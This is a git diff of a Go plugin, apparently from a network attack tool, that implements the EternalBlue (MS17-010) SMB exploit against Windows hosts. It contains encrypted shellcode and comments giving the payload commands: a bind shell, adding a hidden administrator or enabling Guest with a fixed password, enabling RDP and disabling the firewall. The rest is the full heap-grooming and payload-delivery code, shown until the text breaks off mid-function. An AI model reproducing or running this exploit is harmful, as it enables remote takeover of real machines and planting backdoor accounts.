diff --git a/Plugins/MS17010-Exp.go b/Plugins/MS17010-Exp.go index 8b78405..f537271 100644 --- a/Plugins/MS17010-Exp.go +++ b/Plugins/MS17010-Exp.go @@ -14,31 +14,53 @@ import ( "time" ) +// MS17010EXP 执行MS17-010漏洞利用 func MS17010EXP(info *Config.HostInfo) { address := info.Host + ":445" var sc string + + // 根据不同类型选择shellcode switch Common.SC { case "bind": - //msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=64531 -f hex + // msfvenom生成的Bind Shell, 监听64531端口 sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK" - sc = AesDecrypt(sc_enc, key) + var err error + sc, err = AesDecrypt(sc_enc, key) + if err != nil { + Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密bind shellcode失败: %v", info.Host, err)) + return + } + case "cs": - //cs gen C shellcode -> fmt.Printf("%x", c) -> hex + // Cobalt Strike生成的shellcode sc = "" + case "add": - //msfvenom -p windows/x64/exec EXITFUNC=thread CMD='cmd.exe /c net user sysadmin "1qaz@WSX!@#4" /ADD && net localgroup Administrators sysadmin /ADD && REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f && netsh advfirewall set allprofiles state off' -f hex + // 添加系统管理员账户并配置远程访问 sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8" - sc = AesDecrypt(sc_enc, key) + var err error + sc, err = AesDecrypt(sc_enc, key) + if err != nil { + Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密add shellcode失败: %v", info.Host, err)) + return + } + case "guest": - //msfvenom -p windows/x64/exec EXITFUNC=thread CMD='cmd.exe /c net user Guest /active:yes && net user Guest "1qaz@WSX!@#4" && net localgroup Administrators Guest /ADD && REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f && netsh advfirewall set allprofiles state off' -f hex + // 激活Guest账户并配置远程访问 sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx" - sc = AesDecrypt(sc_enc, key) + var err error + sc, err = AesDecrypt(sc_enc, key) + if err != nil { + Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密guest shellcode失败: %v", info.Host, err)) + return + } + default: + // 从文件读取或直接使用提供的shellcode if strings.Contains(Common.SC, "file:") { read, err := ioutil.ReadFile(Common.SC[5:]) if err != nil { - errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", Common.SC, err) - Common.LogError(errlog) + Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.SC, err)) return } sc = fmt.Sprintf("%x", read) @@ -47,817 +69,1055 @@ func MS17010EXP(info *Config.HostInfo) { } } + // 验证shellcode有效性 if len(sc) < 20 { - fmt.Println("[-] no such sc") + fmt.Println("[-] 无效的Shellcode") return } + // 解码shellcode sc1, err := hex.DecodeString(sc) if err != nil { - Common.LogError("[-] " + info.Host + " MS17-010 shellcode decode error " + err.Error()) + Common.LogError(fmt.Sprintf("[-] %s MS17-010 Shellcode解码失败: %v", info.Host, err)) return } + + // 执行EternalBlue漏洞利用 err = eternalBlue(address, 12, 12, sc1) if err != nil { - Common.LogError("[-] " + info.Host + " MS17-010 exp failed " + err.Error()) + Common.LogError(fmt.Sprintf("[-] %s MS17-010漏洞利用失败: %v", info.Host, err)) return } - Common.LogSuccess("[*] " + info.Host + "\tMS17-010\texploit end") + + Common.LogSuccess(fmt.Sprintf("[*] %s\tMS17-010\t漏洞利用完成", info.Host)) } +// eternalBlue 执行EternalBlue漏洞利用 func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error { - // check sc size - const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16 - l := len(sc) - if l > maxscSize { - //fmt.Println(maxscSize) - return fmt.Errorf("sc size %d > %d big %d", l, maxscSize, l-maxscSize) + // 检查shellcode大小 + const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度 + scLen := len(sc) + if scLen > maxscSize { + return fmt.Errorf("[-] Shellcode大小超出限制: %d > %d (超出 %d 字节)", + scLen, maxscSize, scLen-maxscSize) } + + // 构造内核用户空间payload payload := makeKernelUserPayload(sc) + + // 多次尝试利用 var ( grooms int err error ) for i := 0; i < maxAttempts; i++ { grooms = initialGrooms + 5*i - err = exploit(address, grooms, payload) - if err == nil { - return nil + if err = exploit(address, grooms, payload); err == nil { + return nil // 利用成功 } } - return err + + return err // 返回最后一次尝试的错误 } +// exploit 执行EternalBlue漏洞利用核心逻辑 func exploit(address string, grooms int, payload []byte) error { - // connect host + // 建立SMB1匿名IPC连接 header, conn, err := smb1AnonymousConnectIPC(address) if err != nil { - return err + return fmt.Errorf("[-] 建立SMB连接失败: %v", err) } defer func() { _ = conn.Close() }() - // send SMB1 large buffer - _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) - err = smb1LargeBuffer(conn, header) - if err != nil { - return err + + // 发送SMB1大缓冲区数据 + if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil { + return fmt.Errorf("[-] 设置读取超时失败: %v", err) } - // initialize groom threads + if err = smb1LargeBuffer(conn, header); err != nil { + return fmt.Errorf("[-] 发送大缓冲区失败: %v", err) + } + + // 初始化内存喷射线程 fhsConn, err := smb1FreeHole(address, true) if err != nil { - return err + return fmt.Errorf("[-] 初始化内存喷射失败: %v", err) } defer func() { _ = fhsConn.Close() }() - // groom socket + + // 第一轮内存喷射 groomConns, err := smb2Grooms(address, grooms) if err != nil { - return err + return fmt.Errorf("[-] 第一轮内存喷射失败: %v", err) } + + // 释放内存并执行第二轮喷射 fhfConn, err := smb1FreeHole(address, false) if err != nil { - return err + return fmt.Errorf("[-] 释放内存失败: %v", err) } _ = fhsConn.Close() - // grooms + + // 执行第二轮内存喷射 groomConns2, err := smb2Grooms(address, 6) if err != nil { - return err + return fmt.Errorf("[-] 第二轮内存喷射失败: %v", err) } _ = fhfConn.Close() + + // 合并所有喷射连接 groomConns = append(groomConns, groomConns2...) defer func() { - for i := 0; i < len(groomConns); i++ { - _ = groomConns[i].Close() + for _, conn := range groomConns { + _ = conn.Close() } }() - //fmt.Println("Running final exploit packet") - err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) - if err != nil { - return err + // 发送最终漏洞利用数据包 + if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil { + return fmt.Errorf("[-] 设置读取超时失败: %v", err) } - treeID := header.TreeID - userID := header.UserID - finalPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 15, "exploit") - _, err = conn.Write(finalPacket) - if err != nil { - return fmt.Errorf("failed to send final exploit packet: %s", err) + + finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit") + if _, err = conn.Write(finalPacket); err != nil { + return fmt.Errorf("[-] 发送漏洞利用数据包失败: %v", err) } + + // 获取响应并检查状态 raw, _, err := smb1GetResponse(conn) if err != nil { - return fmt.Errorf("failed to get response about exploit: %s", err) + return fmt.Errorf("[-] 获取漏洞利用响应失败: %v", err) } - ntStatus := make([]byte, 4) - ntStatus[0] = raw[8] - ntStatus[1] = raw[7] - ntStatus[2] = raw[6] - ntStatus[3] = raw[5] - //fmt.Printf("NT Status: 0x%08X\n", ntStatus) - - //fmt.Println("send the payload with the grooms") + // 提取NT状态码 + ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]} + Common.LogSuccess(fmt.Sprintf("[+] NT Status: 0x%08X", ntStatus)) + // 发送payload + Common.LogSuccess("[*] 开始发送Payload") body := makeSMB2Body(payload) - for i := 0; i < len(groomConns); i++ { - _, err = groomConns[i].Write(body[:2920]) - if err != nil { - return err + // 分段发送payload + for _, conn := range groomConns { + if _, err = conn.Write(body[:2920]); err != nil { + return fmt.Errorf("[-] 发送Payload第一段失败: %v", err) } } - for i := 0; i < len(groomConns); i++ { - _, err = groomConns[i].Write(body[2920:4073]) - if err != nil { - return err + + for _, conn := range groomConns { + if _, err = conn.Write(body[2920:4073]); err != nil { + return fmt.Errorf("[-] 发送Payload第二段失败: %v", err) } } + + Common.LogSuccess("[+] Payload发送完成") return nil } +// makeKernelUserPayload 构建内核用户空间Payload func makeKernelUserPayload(sc []byte) []byte { - // test DoublePulsar + // 创建缓冲区 buf := bytes.Buffer{} + + // 写入loader代码 buf.Write(loader[:]) - // write sc size + + // 写入shellcode大小(uint16) size := make([]byte, 2) binary.LittleEndian.PutUint16(size, uint16(len(sc))) buf.Write(size) + + // 写入shellcode内容 buf.Write(sc) + return buf.Bytes() } +// smb1AnonymousConnectIPC 创建SMB1匿名IPC连接 func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) { + // 建立TCP连接 conn, err := net.DialTimeout("tcp", address, 10*time.Second) if err != nil { - return nil, nil, fmt.Errorf("failed to connect host: %s", err) + return nil, nil, fmt.Errorf("[-] 连接目标失败: %v", err) } + + // 连接状态标记 var ok bool defer func() { if !ok { _ = conn.Close() } }() - err = smbClientNegotiate(conn) - if err != nil { - return nil, nil, fmt.Errorf("failed to negotiate: %s", err) + + // SMB协议协商 + if err = smbClientNegotiate(conn); err != nil { + return nil, nil, fmt.Errorf("[-] SMB协议协商失败: %v", err) } + + // 匿名登录 raw, header, err := smb1AnonymousLogin(conn) if err != nil { - return nil, nil, fmt.Errorf("failed to login with anonymous: %s", err) + return nil, nil, fmt.Errorf("[-] 匿名登录失败: %v", err) } - _, err = getOSName(raw) - if err != nil { - return nil, nil, fmt.Errorf("failed to get OS name: %s", err) + + // 获取系统版本信息 + if _, err = getOSName(raw); err != nil { + return nil, nil, fmt.Errorf("[-] 获取系统信息失败: %v", err) } - //fmt.Println("OS:", osName) + + // 连接IPC共享 header, err = treeConnectAndX(conn, address, header.UserID) if err != nil { - return nil, nil, fmt.Errorf("failed to tree connect AndX: %s", err) + return nil, nil, fmt.Errorf("[-] 连接IPC共享失败: %v", err) } + ok = true return header, conn, nil } +// SMB头部大小常量 const smbHeaderSize = 32 +// smbHeader SMB协议头部结构 type smbHeader struct { - ServerComponent [4]byte - SMBCommand uint8 - ErrorClass uint8 - Reserved byte - ErrorCode uint16 - Flags uint8 - Flags2 uint16 - ProcessIDHigh uint16 - Signature [8]byte - Reserved2 [2]byte - TreeID uint16 - ProcessID uint16 - UserID uint16 - MultiplexID uint16 + ServerComponent [4]byte // 服务器组件标识 + SMBCommand uint8 // SMB命令码 + ErrorClass uint8 // 错误类别 + Reserved byte // 保留字节 + ErrorCode uint16 // 错误代码 + Flags uint8 // 标志位 + Flags2 uint16 // 扩展标志位 + ProcessIDHigh uint16 // 进程ID高位 + Signature [8]byte // 签名 + Reserved2 [2]byte // 保留字节 + TreeID uint16 // 树连接ID + ProcessID uint16 // 进程ID + UserID uint16 // 用户ID + MultiplexID uint16 // 多路复用ID } +// smb1GetResponse 获取SMB1协议响应数据 func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) { - // net BIOS + // 读取NetBIOS会话服务头 buf := make([]byte, 4) - _, err := io.ReadFull(conn, buf) - if err != nil { - const format = "failed to get SMB1 response about NetBIOS session service: %s" - return nil, nil, fmt.Errorf(format, err) + if _, err := io.ReadFull(conn, buf); err != nil { + return nil, nil, fmt.Errorf("[-] 读取NetBIOS会话服务头失败: %v", err) } - typ := buf[0] - if typ != 0x00 { - const format = "invalid message type 0x%02X in SMB1 response" - return nil, nil, fmt.Errorf(format, typ) + + // 校验消息类型 + messageType := buf[0] + if messageType != 0x00 { + return nil, nil, fmt.Errorf("[-] 无效的消息类型: 0x%02X", messageType) } + + // 解析消息体大小 sizeBuf := make([]byte, 4) copy(sizeBuf[1:], buf[1:]) - size := int(binary.BigEndian.Uint32(sizeBuf)) - // SMB - buf = make([]byte, size) - _, err = io.ReadFull(conn, buf) - if err != nil { - const format = "failed to get SMB1 response about header: %s" - return nil, nil, fmt.Errorf(format, err) + messageSize := int(binary.BigEndian.Uint32(sizeBuf)) + + // 读取SMB消息体 + buf = make([]byte, messageSize) + if _, err := io.ReadFull(conn, buf); err != nil { + return nil, nil, fmt.Errorf("[-] 读取SMB消息体失败: %v", err) } - smbHeader := smbHeader{} + + // 解析SMB头部 + header := smbHeader{} reader := bytes.NewReader(buf[:smbHeaderSize]) - err = binary.Read(reader, binary.LittleEndian, &smbHeader) - if err != nil { - const format = "failed to parse SMB1 response header: %s" - return nil, nil, fmt.Errorf(format, err) + if err := binary.Read(reader, binary.LittleEndian, &header); err != nil { + return nil, nil, fmt.Errorf("[-] 解析SMB头部失败: %v", err) } - return buf, &smbHeader, nil + + return buf, &header, nil } +// smbClientNegotiate 执行SMB协议协商 func smbClientNegotiate(conn net.Conn) error { buf := bytes.Buffer{} - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x54}) - - // --------Server Message Block Protocol-------- - - // server_component: .SMB - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // smb_command: Negotiate Protocol - buf.WriteByte(0x72) - // NT status - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x01, 0x28}) - // process_id_high - buf.Write([]byte{0x00, 0x00}) - // signature - buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - buf.Write([]byte{0x00, 0x00}) - // process id - buf.Write([]byte{0x2F, 0x4B}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0xC5, 0x5E}) - - // --------Negotiate Protocol Request-------- - - // word_count - buf.WriteByte(0x00) - // byte_count - buf.Write([]byte{0x31, 0x00}) - - // dialect name: LAN MAN1.0 - buf.WriteByte(0x02) - buf.Write([]byte{0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, - 0x30, 0x00}) - - // dialect name: LM1.2X002 - buf.WriteByte(0x02) - buf.Write([]byte{0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, - 0x32, 0x00}) - - // dialect name: NT LAN MAN 1.0 - buf.WriteByte(0x02) - buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, - 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}) - - // dialect name: NT LM 0.12 - buf.WriteByte(0x02) - buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, - 0x31, 0x32, 0x00}) - - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return err + // 构造NetBIOS会话服务头 + if err := writeNetBIOSHeader(&buf); err != nil { + return fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) } - _, _, err = smb1GetResponse(conn) - return err + + // 构造SMB协议头 + if err := writeSMBHeader(&buf); err != nil { + return fmt.Errorf("[-] 构造SMB头失败: %v", err) + } + + // 构造协议协商请求 + if err := writeNegotiateRequest(&buf); err != nil { + return fmt.Errorf("[-] 构造协议协商请求失败: %v", err) + } + + // 发送数据包 + if _, err := buf.WriteTo(conn); err != nil { + return fmt.Errorf("[-] 发送协议协商数据包失败: %v", err) + } + + // 获取响应 + if _, _, err := smb1GetResponse(conn); err != nil { + return fmt.Errorf("[-] 获取协议协商响应失败: %v", err) + } + + return nil } +// writeNetBIOSHeader 写入NetBIOS会话服务头 +func writeNetBIOSHeader(buf *bytes.Buffer) error { + // 消息类型: Session Message + buf.WriteByte(0x00) + // 长度(固定值) + buf.Write([]byte{0x00, 0x00, 0x54}) + return nil +} + +// writeSMBHeader 写入SMB协议头 +func writeSMBHeader(buf *bytes.Buffer) error { + // SMB协议标识: .SMB + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // 命令: Negotiate Protocol + buf.WriteByte(0x72) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write([]byte{0x01, 0x28}) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + // 树ID + buf.Write([]byte{0x00, 0x00}) + // 进程ID + buf.Write([]byte{0x2F, 0x4B}) + // 用户ID + buf.Write([]byte{0x00, 0x00}) + // 多路复用ID + buf.Write([]byte{0xC5, 0x5E}) + return nil +} + +// writeNegotiateRequest 写入协议协商请求 +func writeNegotiateRequest(buf *bytes.Buffer) error { + // 字段数 + buf.WriteByte(0x00) + // 字节数 + buf.Write([]byte{0x31, 0x00}) + + // 写入支持的方言 + dialects := [][]byte{ + {0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00}, // LAN MAN1.0 + {0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00}, // LM1.2X002 + {0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}, // NT LAN MAN 1.0 + {0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00}, // NT LM 0.12 + } + + for _, dialect := range dialects { + buf.WriteByte(0x02) // 方言标记 + buf.Write(dialect) + } + + return nil +} + +// smb1AnonymousLogin 执行SMB1匿名登录 func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) { buf := bytes.Buffer{} - // --------NetBIOS Session Service-------- - - // session message - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x88}) - - // --------Server Message Block Protocol-------- - - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Session Setup AndX - buf.WriteByte(0x73) - // NT SUCCESS - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // Signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // Signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // TreeID - buf.Write([]byte{0x00, 0x00}) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Session Setup AndX Request-------- - - // word count - buf.WriteByte(0x0D) - // no further commands - buf.WriteByte(0xFF) - // reserved - buf.WriteByte(0x00) - // AndX offset - buf.Write([]byte{0x88, 0x00}) - // max buffer - buf.Write([]byte{0x04, 0x11}) - // max mpx count - buf.Write([]byte{0x0A, 0x00}) - // VC Number - buf.Write([]byte{0x00, 0x00}) - // session key - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // ANSI password length - buf.Write([]byte{0x01, 0x00}) - // unicode password length - buf.Write([]byte{0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // capabilities - buf.Write([]byte{0xD4, 0x00, 0x00, 0x00}) - // bytes count - buf.Write([]byte{0x4b, 0x00}) - // ANSI password - buf.WriteByte(0x00) - // account name - buf.Write([]byte{0x00, 0x00}) - // domain name - buf.Write([]byte{0x00, 0x00}) - - // native OS: Windows 2000 2195 - buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, - 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) - buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, - 0x00, 0x32, 0x00, 0x31, 0x00, 0x39, 0x00, 0x35, 0x00}) - buf.Write([]byte{0x00, 0x00}) - - // native LAN manager: Windows 2000 5.0 - buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, - 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) - buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, - 0x00, 0x35, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00}) - - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return nil, nil, err + // 构造NetBIOS会话服务头 + if err := writeNetBIOSLoginHeader(&buf); err != nil { + return nil, nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) } + + // 构造SMB协议头 + if err := writeSMBLoginHeader(&buf); err != nil { + return nil, nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) + } + + // 构造会话设置请求 + if err := writeSessionSetupRequest(&buf); err != nil { + return nil, nil, fmt.Errorf("[-] 构造会话设置请求失败: %v", err) + } + + // 发送数据包 + if _, err := buf.WriteTo(conn); err != nil { + return nil, nil, fmt.Errorf("[-] 发送登录数据包失败: %v", err) + } + + // 获取响应 return smb1GetResponse(conn) } -// skip smb header, word count, AndXCommand, Reserved, -// AndXOffset, Action, Byte count and a magic 0x41 (A) +// writeNetBIOSLoginHeader 写入NetBIOS会话服务头 +func writeNetBIOSLoginHeader(buf *bytes.Buffer) error { + // 消息类型: Session Message + buf.WriteByte(0x00) + // 长度 + buf.Write([]byte{0x00, 0x00, 0x88}) + return nil +} + +// writeSMBLoginHeader 写入SMB协议头 +func writeSMBLoginHeader(buf *bytes.Buffer) error { + // SMB标识 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // 命令: Session Setup AndX + buf.WriteByte(0x73) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write([]byte{0x07, 0xC0}) + // 进程ID高位 